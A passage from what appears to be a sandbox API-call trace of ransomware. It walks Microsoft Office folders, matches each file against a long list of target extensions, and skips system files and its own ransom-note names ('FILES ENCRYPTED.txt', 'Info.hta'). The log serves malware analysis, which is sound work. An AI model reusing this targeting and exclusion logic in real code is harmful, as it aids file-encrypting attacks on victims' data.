lpFindFileData=0x2f3f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0066.511] lstrlenW (lpString="J0143744.GIF") returned 12 [0066.511] lstrlenW (lpString=".1cd") returned 4 [0066.511] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.511] lstrlenW (lpString=".3ds") returned 4 [0066.511] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0066.511] lstrlenW (lpString=".3fr") returned 4 [0066.512] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0066.512] lstrlenW (lpString=".3g2") returned 4 [0066.512] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0066.512] lstrlenW (lpString=".3gp") returned 4 [0066.512] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0066.512] lstrlenW (lpString=".7z") returned 3 [0066.512] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.512] lstrlenW (lpString=".accda") returned 6 [0066.512] lstrcmpiW (lpString1=".accda", lpString2="44.GIF") returned -1 [0066.512] lstrlenW (lpString=".accdb") returned 6 [0066.512] lstrcmpiW (lpString1=".accdb", lpString2="44.GIF") returned -1 [0066.512] lstrlenW (lpString=".accdc") returned 6 [0066.512] lstrcmpiW (lpString1=".accdc", lpString2="44.GIF") returned -1 [0066.512] lstrlenW (lpString=".accde") returned 6 [0066.512] lstrcmpiW (lpString1=".accde", lpString2="44.GIF") returned -1 [0066.512] lstrlenW (lpString=".accdt") returned 6 [0066.512] lstrcmpiW (lpString1=".accdt", lpString2="44.GIF") returned -1 [0066.512] lstrlenW (lpString=".accdw") returned 6 [0066.512] lstrcmpiW (lpString1=".accdw", lpString2="44.GIF") returned -1 [0066.512] lstrlenW (lpString=".adb") returned 4 [0066.512] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0066.512] lstrlenW (lpString=".adp") returned 4 [0066.512] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0066.512] lstrlenW (lpString=".ai") returned 3 [0066.512] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0066.512] lstrlenW (lpString=".ai3") returned 4 [0066.512] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0066.512] lstrlenW (lpString=".ai4") returned 4 [0066.512] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0066.513] lstrlenW (lpString=".ai5") returned 4 [0066.513] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0066.513] lstrlenW (lpString=".ai6") returned 4 [0066.513] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0066.513] lstrlenW (lpString=".ai7") returned 4 [0066.513] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0066.513] lstrlenW (lpString=".ai8") returned 4 [0066.513] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0066.513] lstrlenW (lpString=".anim") returned 5 [0066.513] lstrcmpiW (lpString1=".anim", lpString2="4.GIF") returned -1 [0066.513] lstrlenW (lpString=".arw") returned 4 [0066.513] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0066.513] lstrlenW (lpString=".as") returned 3 [0066.513] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0066.513] lstrlenW (lpString=".asa") returned 4 [0066.513] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0066.513] lstrlenW (lpString=".asc") returned 4 [0066.513] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0066.513] lstrlenW (lpString=".ascx") returned 5 [0066.513] lstrcmpiW (lpString1=".ascx", lpString2="4.GIF") returned -1 [0066.513] lstrlenW (lpString=".asm") returned 4 [0066.513] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0066.513] lstrlenW (lpString=".asmx") returned 5 [0066.513] lstrcmpiW (lpString1=".asmx", lpString2="4.GIF") returned -1 [0066.513] lstrlenW (lpString=".asp") returned 4 [0066.513] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0066.513] lstrlenW (lpString=".aspx") returned 5 [0066.513] lstrcmpiW (lpString1=".aspx", lpString2="4.GIF") returned -1 [0066.513] lstrlenW (lpString=".asr") returned 4 [0066.514] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".asx") returned 4 [0066.514] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".avi") returned 4 [0066.514] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".avs") returned 4 [0066.514] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".backup") returned 7 [0066.514] lstrcmpiW (lpString1=".backup", lpString2="744.GIF") returned -1 [0066.514] lstrlenW (lpString=".bak") returned 4 [0066.514] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".bay") returned 4 [0066.514] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".bd") returned 3 [0066.514] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0066.514] lstrlenW (lpString=".bin") returned 4 [0066.514] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".bmp") returned 4 [0066.514] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".bz2") returned 4 [0066.514] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".c") returned 2 [0066.514] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0066.514] lstrlenW (lpString=".cdr") returned 4 [0066.514] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".cer") returned 4 [0066.514] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0066.514] lstrlenW (lpString=".cf") returned 3 [0066.514] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0066.514] lstrlenW (lpString=".cfc") returned 4 [0066.515] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0066.515] lstrlenW (lpString=".cfm") returned 4 [0066.515] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0066.515] lstrlenW (lpString=".cfml") returned 5 [0066.515] lstrcmpiW (lpString1=".cfml", lpString2="4.GIF") returned -1 [0066.515] lstrlenW (lpString=".cfu") returned 4 [0066.515] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0066.515] lstrlenW (lpString=".chm") returned 4 [0066.515] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0066.515] lstrlenW (lpString=".cin") returned 4 [0066.515] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0066.515] lstrlenW (lpString=".class") returned 6 [0066.515] lstrcmpiW (lpString1=".class", lpString2="44.GIF") returned -1 [0066.515] lstrlenW (lpString=".clx") returned 4 [0066.515] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0066.515] lstrlenW (lpString=".config") returned 7 [0066.515] lstrcmpiW (lpString1=".config", lpString2="744.GIF") returned -1 [0066.515] lstrlenW (lpString=".cpp") returned 4 [0066.515] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0066.515] lstrlenW (lpString=".cr2") returned 4 [0066.516] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0066.516] lstrlenW (lpString=".crt") returned 4 [0066.516] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0066.516] lstrlenW (lpString=".crw") returned 4 [0066.516] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0066.516] lstrlenW (lpString=".cs") returned 3 [0066.516] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0066.516] lstrlenW (lpString=".css") returned 4 [0066.516] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0066.516] lstrlenW (lpString=".csv") returned 4 [0066.516] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0066.516] lstrlenW (lpString=".cub") returned 4 [0066.516] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0066.516] lstrlenW (lpString=".dae") returned 4 [0066.516] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0066.516] lstrlenW (lpString=".dat") returned 4 [0066.516] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0066.516] lstrlenW (lpString=".db") returned 3 [0066.516] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0066.516] lstrlenW (lpString=".dbf") returned 4 [0066.516] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0066.516] lstrlenW (lpString=".dbx") returned 4 [0066.516] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0066.516] lstrlenW (lpString=".dc3") returned 4 [0066.516] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0066.517] lstrlenW (lpString=".dcm") returned 4 [0066.517] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0066.517] lstrlenW (lpString=".dcr") returned 4 [0066.517] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0066.517] lstrlenW (lpString=".der") returned 4 [0066.517] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0066.517] lstrlenW (lpString=".dib") returned 4 [0066.517] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0066.517] lstrlenW (lpString=".dic") returned 4 [0066.517] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0066.517] lstrlenW (lpString=".dif") returned 4 [0066.517] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0066.517] lstrlenW (lpString=".divx") returned 5 [0066.517] lstrcmpiW (lpString1=".divx", lpString2="4.GIF") returned -1 [0066.517] lstrlenW (lpString=".djvu") returned 5 [0066.517] lstrcmpiW (lpString1=".djvu", lpString2="4.GIF") returned -1 [0066.517] lstrlenW (lpString=".dng") returned 4 [0066.517] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0066.517] lstrlenW (lpString=".doc") returned 4 [0066.517] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0066.517] lstrlenW (lpString=".docm") returned 5 [0066.517] lstrcmpiW (lpString1=".docm", lpString2="4.GIF") returned -1 [0066.517] lstrlenW (lpString=".docx") returned 5 [0066.517] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0066.517] lstrlenW (lpString=".dot") returned 4 [0066.517] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0066.517] lstrlenW (lpString=".dotm") returned 5 [0066.517] lstrcmpiW (lpString1=".dotm", lpString2="4.GIF") returned -1 [0066.517] lstrlenW (lpString=".dotx") returned 5 [0066.517] lstrcmpiW (lpString1=".dotx", lpString2="4.GIF") returned -1 [0066.518] lstrlenW (lpString=".dpx") returned 4 [0066.518] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".dqy") returned 4 [0066.518] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".dsn") returned 4 [0066.518] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".dt") returned 3 [0066.518] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0066.518] lstrlenW (lpString=".dtd") returned 4 [0066.518] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".dwg") returned 4 [0066.518] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".dwt") returned 4 [0066.518] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".dx") returned 3 [0066.518] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0066.518] lstrlenW (lpString=".dxf") returned 4 [0066.518] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".edml") returned 5 [0066.518] lstrcmpiW (lpString1=".edml", lpString2="4.GIF") returned -1 [0066.518] lstrlenW (lpString=".efd") returned 4 [0066.518] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".elf") returned 4 [0066.518] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".emf") returned 4 [0066.518] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".emz") returned 4 [0066.518] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0066.518] lstrlenW (lpString=".epf") returned 4 [0066.519] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0066.519] lstrlenW (lpString=".eps") returned 4 [0066.519] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0066.519] lstrlenW (lpString=".epsf") returned 5 [0066.519] lstrcmpiW (lpString1=".epsf", lpString2="4.GIF") returned -1 [0066.519] lstrlenW (lpString=".epsp") returned 5 [0066.519] lstrcmpiW (lpString1=".epsp", lpString2="4.GIF") returned -1 [0066.519] lstrlenW (lpString=".erf") returned 4 [0066.519] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0066.519] lstrlenW (lpString=".exr") returned 4 [0066.519] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0066.519] lstrlenW (lpString=".f4v") returned 4 [0066.519] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0066.519] lstrlenW (lpString=".fido") returned 5 [0066.519] lstrcmpiW (lpString1=".fido", lpString2="4.GIF") returned -1 [0066.519] lstrlenW (lpString=".flm") returned 4 [0066.519] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0066.519] lstrlenW (lpString=".flv") returned 4 [0066.519] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0066.519] lstrlenW (lpString=".frm") returned 4 [0066.519] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0066.519] lstrlenW (lpString=".fxg") returned 4 [0066.519] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0066.519] lstrlenW (lpString=".geo") returned 4 [0066.519] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0066.519] lstrlenW (lpString=".gif") returned 4 [0066.519] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0066.519] lstrlenW (lpString="J0143744.GIF") returned 12 [0066.519] lstrlenW (lpString=".PPHL") returned 5 [0066.519] lstrcmpiW (lpString1=".PPHL", lpString2="4.GIF") returned -1 [0066.520] lstrlenW (lpString="J0143744.GIF") returned 12 [0066.520] lstrcmpiW (lpString1="boot.ini", lpString2="J0143744.GIF") returned -1 [0066.520] lstrcmpiW (lpString1="bootfont.bin", lpString2="J0143744.GIF") returned -1 [0066.520] lstrcmpiW (lpString1="ntldr", lpString2="J0143744.GIF") returned 1 [0066.520] lstrcmpiW (lpString1="ntdetect.com", lpString2="J0143744.GIF") returned 1 [0066.520] lstrcmpiW (lpString1="io.sys", lpString2="J0143744.GIF") returned -1 [0066.520] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="J0143744.GIF") returned -1 [0066.520] lstrcmpiW (lpString1="Info.hta", lpString2="J0143744.GIF") returned -1 [0066.520] lstrcmpiW (lpString1="payload.exe", lpString2="J0143744.GIF") returned 1 [0066.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF") returned 76 [0066.520] FindNextFileW (in: hFindFile=0x6c39f0, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0066.520] lstrlenW (lpString="J0143745.GIF") returned 12 [0066.520] lstrlenW (lpString=".1cd") returned 4 [0066.520] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0066.520] lstrlenW (lpString=".3ds") returned 4 [0066.520] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0066.520] lstrlenW (lpString=".3fr") returned 4 [0066.520] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0066.520] lstrlenW (lpString=".3g2") returned 4 [0066.520] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0066.520] lstrlenW (lpString=".3gp") returned 4 [0066.520] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0066.520] lstrlenW (lpString=".7z") returned 3 [0066.520] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0066.520] lstrlenW (lpString=".accda") returned 6 [0066.521] lstrcmpiW (lpString1=".accda", lpString2="45.GIF") returned -1 [0066.521] lstrlenW (lpString=".accdb") returned 6 [0067.078] FindNextFileW (in: hFindFile=0x6c3a70, lpFindFileData=0x2f3f58c | out: lpFindFileData=0x2f3f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.078] FindNextFileW (in: hFindFile=0x6c3a70, lpFindFileData=0x2f3f58c | out: lpFindFileData=0x2f3f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0067.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned 48 [0067.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x2f3f310 | out: lpFindFileData=0x2f3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6c3b30 [0067.079] FindNextFileW (in: hFindFile=0x6c3b30, lpFindFileData=0x2f3f310 | out: lpFindFileData=0x2f3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.079] FindNextFileW (in: hFindFile=0x6c3b30, lpFindFileData=0x2f3f310 | out: lpFindFileData=0x2f3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0067.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned 53 [0067.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6c3ab0 [0067.079] FindNextFileW (in: hFindFile=0x6c3ab0, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.080] FindNextFileW (in: hFindFile=0x6c3ab0, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0067.080] lstrlenW (lpString="CAGCAT10.MML") returned 12 [0067.080] lstrlenW (lpString=".1cd") returned 4 [0067.080] FindClose (in: hFindFile=0x6c3ab0 | out: hFindFile=0x6c3ab0) returned 1 [0067.080] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f00048 | out: hHeap=0x5d0000) returned 1 [0067.080] FindNextFileW (in: hFindFile=0x6c3b30, lpFindFileData=0x2f3f310 | out: lpFindFileData=0x2f3f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0067.080] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0067.080] lstrlenW (lpString=".1cd") returned 4 [0067.089] FindClose (in: hFindFile=0x6c3b30 | out: hFindFile=0x6c3b30) returned 1 [0067.089] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0067.089] FindNextFileW (in: hFindFile=0x6c3a70, lpFindFileData=0x2f3f58c | out: lpFindFileData=0x2f3f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0067.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x2f3f310 | out: lpFindFileData=0x2f3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6c3b30 [0067.090] FindNextFileW (in: hFindFile=0x6c3b30, lpFindFileData=0x2f3f310 | out: lpFindFileData=0x2f3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.090] FindNextFileW (in: hFindFile=0x6c3b30, lpFindFileData=0x2f3f310 | out: lpFindFileData=0x2f3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0067.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6c3ab0 [0067.090] FindNextFileW (in: hFindFile=0x6c3ab0, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.090] FindNextFileW (in: hFindFile=0x6c3ab0, lpFindFileData=0x2f3f094 | out: lpFindFileData=0x2f3f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1 [0067.090] FindClose (in: hFindFile=0x6c3ab0 | out: hFindFile=0x6c3ab0) returned 1 [0067.091] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f00048 | out: hHeap=0x5d0000) returned 1 [0067.091] FindNextFileW (in: hFindFile=0x6c3b30, lpFindFileData=0x2f3f310 | out: lpFindFileData=0x2f3f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, 